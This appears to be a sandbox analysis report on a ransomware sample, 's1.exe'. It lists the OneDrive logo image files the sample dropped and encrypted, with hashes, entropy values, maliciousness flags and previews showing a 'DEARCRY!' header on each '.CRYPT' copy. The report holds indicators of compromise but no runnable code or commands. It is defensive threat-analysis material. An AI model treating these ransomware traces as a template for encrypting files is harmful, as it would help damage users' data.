                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-200.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):21720
                                                              Entropy (8bit):7.990890039304476
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:71A36AAFED0412A8D9B5E3F16FC43BC0
                                                              SHA1:BA0ECC7FB3EBFDB405C41E30A27AAE131614A88C
                                                              SHA-256:A84C35D1BFDCAE5C2ACE519EA2D3F9DD2977CA3ADEB903C506792EFF6C3D0DD6
                                                              SHA-512:7247E8F65B09B38675A43EED6F22CA45CAA4A771D4B29D4AF3363C8E30BEC4A0C55D82AEFEE70DF6B634661DF19FFD164EAEF04BD4A4C30843C6C5AEEA70DAEB
                                                              Malicious:true
                                                              Preview: DEARCRY!........0...........M..HN...4]......!..?....{.C|>x\G*.lN#.hf..:.....ae...d~...-"o..c..%$q..[J/.-..bDm.N=..e.?c.....:M.&......52f....6{.XL...R..}.Wr..q.@{V....v9..07o.)...1...>..W..Y.f.cv"=..z....rD..5.....f..g.3.s@..j..DgP.dy..'+..`....r....>...... .......9..I...JB.b....Uh..p.q.....k.."C..F...J.y....y%'.X...^.S...X\./R.k..k.' .......B.>B3.q..b.4....[Q[...,e.N.....D....b.....g.@}.....OFZ....?..u.N.w|.7.a.W...W.H..:.._.Q.h.....]=.4w.|.t..P..".B1..qK..K.....Z..Q.. .bGR.r'.s1g...f..h..AJ..\y...}}.....[.G.yt"...:..N..p......[[......Y..>.-O ]. ..9.....Q..>|..h.Pq....c.u.."..$3~.a[|y.G...-A.?....jzy.M4.auS......&l.,.W}..0'.'....v.....vB...H....R..../u...F...K.X...+...*.8.K...83u...q1r[7gW.o....fV~2..e.R.#M..f.{(...Vq(...F.|).xn..[.V..d.V.~Oq.Q..I..^...Hq..ND..=......(4.XO..#o.....&..U.(|bS..H....;:#-.d.....hs+..j.C.Y...^.-G.q:...]..H.R.2b.=..b.N.;........ ..G;.r,...d.....}.Ms.....KkN..@bt...r.....3*.........XX&.r....>..P"....Y.>..._.O...
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-400.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):47796
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:96CC8ED08507E5CD303935EC4508D84A
                                                              SHA1:5CD8CF1D80E4BDE5237C35F9680B5BEB50148AA9
                                                              SHA-256:737DB580217244748A4B280BD422F80760BA48DEEA5A5BC9EA0673AC5482667F
                                                              SHA-512:EA4CE9AEFA9A9A1B1D5A1B8A24C2B4B1771A3E48978F32F72450C7848E0F81C6305A67DDB90B9A26EE2633F42B0F3D759345AF5F835CB702B3F1E2BC89F40BC4
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveMedTile.scale-400.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):48648
                                                              Entropy (8bit):7.995953185581993
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:C44A6F5783F730529A9B1BBE15A9D673
                                                              SHA1:15C67FA3F3951B9BF3D509B7E55FC759C66A669A
                                                              SHA-256:F9825D4E864F71ED50D562F22C210A7C49CA12FE8DAE138842DEFF711589675D
                                                              SHA-512:B0F86F3DB571E6171E9BF2A6B271FA03AB91D6B0B60F8B9F04C4C612CEEC8A701012A4830B0C81ACFBCC4E447EE9C486AF56211125E3C6D7DC0E9A80C7C92005
                                                              Malicious:true
                                                              Preview: DEARCRY!......f.kq.p1...I.{._g.K .@q.`.S.P7:.Wh.x4....(.)1..~.i......i].,K.t.E....9..n#...0....|. .z.Au.l'.P_qH..$.....~.;a.?..n:)./j......`...s2...=.w...n..d[..DBdZa!.EuwN...u.>d.Ryo.D.G.v.\...m;...3..p/.O...1}5.=J..!..B..X.d..^B.8.L..d....y.........k^xP>.P*j.....<>.......~g....../X..,.kq]0.r.P.d0w >.(..]..../..}zC .bq..e1..3c...$...f..H...G..x...?+W..^DM.u.......d1..T...bJ.........V.i....X..W...Z.y........(7.........[!.UK`g.a...4.....t...n|..k...d1..1T......3..P`4....k...S:zW.....i.+.8D....5.T.d........cO.L.V..D.U.#k.<n.......#..'.8.,.u.........d....... .=.D5S...".b(`z.q.-....u....P.4...d..b....T..v..i=.*...v3.~k-.y.u..c6...T...v...._...X..V/.[p..M......\i./*.m....q....E..2......z....PsRi.i..[.Y..CP...[t....E.6..;#4.~.....x;...V3 .OPC...H...|.}........]o(F........G.Gx....H.g;4%..I..E..2.B.......4.g.G.u.V..T.j_......KZ..a\.9.o.0.p.._."...C..Q5...Sq(..u-.%].wlg$6-V...P..<...{T......).J.2D .F.....3..2.....%V.......".,..3....K=5....)X<..W!..
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-100.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):1566
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:269F66B3A96C4FC11D652C67598C5F0F
                                                              SHA1:27C9526FF3591A90B7EF76E3286F0C58B053C516
                                                              SHA-256:C9DCDD4F25AFC5A53ED86B3B751070D5E097635E788508E4116412698B28E1BB
                                                              SHA-512:1AAB2145E5923FABF955C99FE4BA83347BCCACF7A716E395D425317FE5B8F1D592A6E24AFE3EDB15F671336BCBB2D8FEB4DE63D12080AF2BE1E57F8403FDDAFA
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-100.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2128
                                                              Entropy (8bit):7.905732282380513
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3CE1265ED851588EFE9D6E10436969BD
                                                              SHA1:AE62634BC3EB43CC7DBAB42EA52A53D0BCFDF5CA
                                                              SHA-256:6DE53C274CC34E84F8F32D01C1B0CA127930DAEE46448BE22FBFEB8AE0229BD9
                                                              SHA-512:2B6A6DB04931694DA37D10D2EE4A07C310A463A632306A5E63258F9851CD15FB54AA09F4F2C5ED382DDC2E833780A21D251B0D529F32838900622235C3F83FCB
                                                              Malicious:false
                                                              Preview: DEARCRY!........d.....fk..$.E..^ePF9.2)r....T.C..<x..D3.."R......i......Q.L..Vl.U...s.W..%EfG.....f8.D.s....1..D.A.(.,......."%..q...c...F$..F.4..o.G.<o=.....B\.K.^*PYKH..;io....,E...6.{J..Z......uHJ......#5..h.n..S$..u.c.%$[.e......?...9..d.X..S[..P.p..............k_.-{4.).G.P.-C).0b....+....yS.....D..D...9l.$..T%l.C|....%X...d$.qE!...~..g....2iFd..w...v.q.1.F].5......O.r.M%.q)...".(.?...`%..\&k.........?....L.z....=iO.....q.ov...g....cG.K..z2|.....kA......./.....)|.6....W......y.S......5..f...'.....e....]5...B.&.. .>W.....r...7..Q.]....Q....]...V..&..../=...(.+..D~.g5.D...D.e.....RU;...Z....T.4......D.."1...i....8..~-}D`j. ......os`=..f. ..F.".y...S_.:.D%'..~...-Y}1..fj..CZ.QAX..1flL7...U..P.3.l.D.z.%..+..7..H...:....+:.....9+^..^Oi.U.@]..x.w..p..2^...$&H...i.v.....<.S....^>).s.h..:...wV}*.>....w03....|.[v."f....z..=...&...=.G.k.~)...D..... <aN}N..5..r...[9...#...s1({......y......2..QP.Q..c......\.m....r..y.....E&'<.M.6..A..B.K)..w*...
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-125.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2036
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:0C68AEB384816E78DF9CF7EE1056A27E
                                                              SHA1:47EE0DE93D75DDB4A86B8CB0C29C9F0EA6B92369
                                                              SHA-256:6AE0F77E838DF3EAD92EE8CFAEFFBFCAEDE84FBD8DF55FE718982F4C0A352029
                                                              SHA-512:BB6B6DF796DF9756A3158B58551F486AD183C98B51688FE15B7A2C5F9D23BE89F5061F17B72DCEC1F66F3FC721653864DD28A3281952ECD13703A8265F8665F9
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-125.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2608
                                                              Entropy (8bit):7.922920083860244
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:5C3F80EE38E5A7D555D7F23BB7713ACF
                                                              SHA1:D89A0C950DFC4083D33DC205B6C2E88F24EB5842
                                                              SHA-256:65AE78D96199F390211B5809DBA00DC89C5A28DBB71A5EEFD74185886EF94D88
                                                              SHA-512:5DD7879594A93EC41EF3259CC15378CF297C37044FDC594AF7BE63E0AB81B556EA47FCF7405819E6F81A0311A1FFC886932903251A1126823306E6C443DD7231
                                                              Malicious:false
                                                              Preview: DEARCRY!......x...I.....W.V.I.. ....6P....l...yK..{(x..D..@..k.P....[...L....o.zm4C.........2.....B@....H.+..;.SV.^8.>..~.G....h.}.}.Z......(x.....O(t..........@5h.N...?..&..1.G_..b......8l...{.7,...#.u+:M.e2...p.S.xd9.T...X"..Z$..ST.8..R.H.8.xFR.@\C.?.................iZu..r..z.l.._...%N..e.k.o.f....P.......z..[.WxV..~....D...r.I.X.x.(3_.....sx.t1.j...f../....\...}.=.....f....w.#...........[./V..5.VbTi...Pa..m........OT\..U....7..i..E..[......#4.....60-.re.....T.1.M.....M9..%..".S...MX,..v]2wz-..q...;...{...ez..d..B...bgc........_].S_DT.m......>...].}J...O..c..2....?E...z.?....<..........M.(@.H....\.}1.C......K..h|....9..G.7..w....f.97m.y+{..l....{....}.e`..H3...$.S..wMkf.:.....X)..b..5.P../.%...:,...E0.....]..|e..3.8`...[#..U.....:.K.G.F..Rj.n}c..i.f.eh.h.w....3.....r. ..7...{J.. P.....8...D...)52..P.L.e]..,..Yk.<.......p....K..B@...T..1......R.....Q..IZ,..L.......QX..d.}..^.......$...L ..4..q...j.....+.y.9=....8...\..&.m......dL%.\C....
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-150.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2404
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DD9A233E3B871E0DBB684994FA70A1A7
                                                              SHA1:F077FF962DAD1EF5FA4C52134F1F173C36558A3A
                                                              SHA-256:EE828C64E0A6BA8BD158B5B8AD020464181B2DB4D46F8DFF13B2F041DA4C7D21
                                                              SHA-512:17F970231C92335A1B942D94134D2FD1CE654C1258DEF961EE2A3BE173E076F3C1EDAE1EE9D05E22D020864FADB72C00CF3ABD5B229D3F18CF8589E3B117596A
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-150.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2992
                                                              Entropy (8bit):7.935674282034434
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E7B136E3CBF08102EC6738A51193B274
                                                              SHA1:E7E30079E732B7D9B01412206E834895BDB8CD27
                                                              SHA-256:449F309AED4E46C574EE68EFB0B99C814D59B86CDDB0FFDE9537628141326A46
                                                              SHA-512:702D2BBCDC448C778B73A57BBE5586E78C67137AD6DCB01BF3ED9DB152D962F76EFB353B76B5E2BEA5AF9F2E51CD94DCE41DB121AAD2F0859DE609775E761F1C
                                                              Malicious:false
                                                              Preview: DEARCRY!......)..o........2H.....^....,..s....dY..d.....4/~<..eTx}.t3.a......W...n).u...e\.....~8...o...9.X...9....8.g3...Dl.BK...2*3.-J8.*(}.....@.._..{#...Cr..d{.(;7..F6..h.sH.Cf...p.........(.E........]=.........X.....ke..MV<a.."....*..<.3.C...B................IV.r.(.tg...#.....%...b..!.<.YcA]....=.>I.~|.L..*_&.H4j].s..O8.....(2O;N...|:..I..r..\..,l....... .$.).).....D(1...n.`ob.M.&.fv.....IX...n=.7....u..j1f.....-.t.u2.....J..eB.c.M.+.....|.[Q..*..D...@.N...C..F.y8...i.(.ZD....hs.W.Jz...p=.2....5.-...t~.+.dG.a....R=..D)........ ..(.oQ...Z1.r*9.\....L..q;O*x.........b.....p..."1....Gs...l......J.....".|(......=...:..k.d.;,6r^r..sv5*.....#...a.J...7......h..V.........xg.M..T......W.i..Z.b."...&9......f.%....e.U.f $.....q.C.....;...g3=.3.... .:i"0.:..n|.\jxQ}.mJ........)..._#......$....`HQ.....?..2..;]47.+|Y./......E.-..i.X...t.v......G.........KoW|..c\..i..+-u.......^Y....%..F...C.5}..~d.Q...v].5n../"W.O......j....p..wx.+....
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-200.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3284
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:E7B1369C0F66B752695ACC20A1403187
                                                              SHA1:B2D1C411A2196C3A9AD0277EB763ED9DF25A27C7
                                                              SHA-256:B77379158522D48E12BDBA8C40D23DC70DF189C77EEAE67F1D9F0C1BB60F2DD4
                                                              SHA-512:1E263C1B5CC2AE125F45E90BC1877CD9190A177D9CDE915400B03010313886CEBA0038CC670C3498486CE063356387400439CA7E39393882565D2DB298235A16
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-200.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3856
                                                              Entropy (8bit):7.948938867494466
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:CBA100AE6C593630C0E7232ECEE3A47A
                                                              SHA1:560975817AF45B6B2A30429BF5D03A5B9DFC9845
                                                              SHA-256:5FA2A8A21FA44FB7C4391F7671B62A2254655E655BB27F7DAE0155FB4C442919
                                                              SHA-512:E3FAE5060BA2124FCA87E71BF98BDAD9BBF7CBF6947041C6A40FCD47EAEB1DEE81CA31AA8CA46B9862D00B80EA2C77A796A082F9F2FA2D6CCA49673BD6D848AE
                                                              Malicious:false
                                                              Preview: DEARCRY!......A0wmq.[.x._......24."...9.T.-...l.....+.bI.dU[.Y./.=..<\......;.qC..P...9.......<w.f>....W......T:..r...W..?.T...y....@.s.%y..k...8.s.....G.O.....U.).b.R.T....]>..N.(D........P...bS.#..i./....5f.1.(.+1._...........q.gB.2..7.h...c.r.Nd.1.mQV....j.......Ch..gd.+.=.W..Z...Gp.q.L....KK.....lv.Syw..]w.C.-gm..Z.S...O.0.....NeH/....9......*.G.843..C.=c.J.....3cHZ..'.l..V..E...2...k+.*...&....l...Zt.0..B...H;..e..)Mz...G.;.;K.^gw.......|....i.......j.>..8..y...U.ym..g.f.......&....1.h.*:......U..*r.,GO.....u.....$l...3../.....G..&.c..RBW.ec......C.....q5...4.m....Z.~U..t,..l.u.....~5.UsJ.=u..uM...\..T..P.~..T.r..*.vm@1..aT....J..5...I....R...;m.gr..74...i'.Y.&.....}i#}5..>?....J&.fg.5w..........S..~.......x.".(.n...f..[.D/...b.j%...Z..._.#.....m(....)\e..8^.k.d...>x.qY.j..T.*.SV..?}..Z..#.:.#....a.1..@...!.....v....c.e#.\l.{..q* $.#.....]Y...N6.tb-...An.[H&/.P...C....s.(.d.;.e...B.=..e.b...."U.%..Kl0T....5<...L..3.W..(T.p.Y..mo.
                                                              C:\Users\user\AppData\Local\Microsoft\OneDrive\LogoImages\OneDriveSmallTile.contrast-black_scale-400.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6952
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6E2DF67311FDAF5DCFDA8E508564AE55
                                                              SHA1:2FABB696BC3C13E13B5E68B77C093A3FA2BAFA3E
                                                              SHA-256:354E5594EB2C62E6D29D1CDA600B6BF452ED5E6F0AD751DB0181138B2AFE17E3
                                                              SHA-512:17BEE0EA1071BDBBC67342FBDF3DBB14ABAAFDA925B153B27275579D257080074C0814472DC49D8072A3F3FE2CCB9BB601FE83275E52ED97DFBE19AB4A3C4B81
                                                              Malicious:false
